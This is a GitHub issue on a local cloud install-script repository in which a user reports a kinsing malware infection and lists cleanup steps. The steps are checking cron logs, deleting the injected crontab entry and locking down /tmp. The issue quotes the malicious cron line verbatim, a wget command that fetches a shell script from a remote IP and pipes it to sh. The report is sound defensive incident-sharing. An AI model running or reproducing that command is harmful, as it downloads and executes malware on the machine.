ccri / cloud-local

Install script for a local 1 node cloud...no excuses folks
17 stars 5 forks source link

Malware injection kinsing #73

Open iizke opened 4 years ago

iizke commented 4 years ago

recently, I have found the malware injection (kinsing) was infected in my servers using cloud-local. Still don't know exactly how it happens, however, we could do the following to remove it:

  1. Detect its appearance: sudo grep CRON /var/log/syslog

  2. Remove the injection via cron: $ crontab -e Remove the line: wget -q -O - http://195.3.146.118/spr.sh | sh > /dev/null 2>&1

  3. Set permission to not allow anyone write to the folder /var/tmp or /tmp (except for root or special users).

This is just needed action to remove it. The server is definitely compromised, therefore data will be impacted. If anyone knows more about it, please share.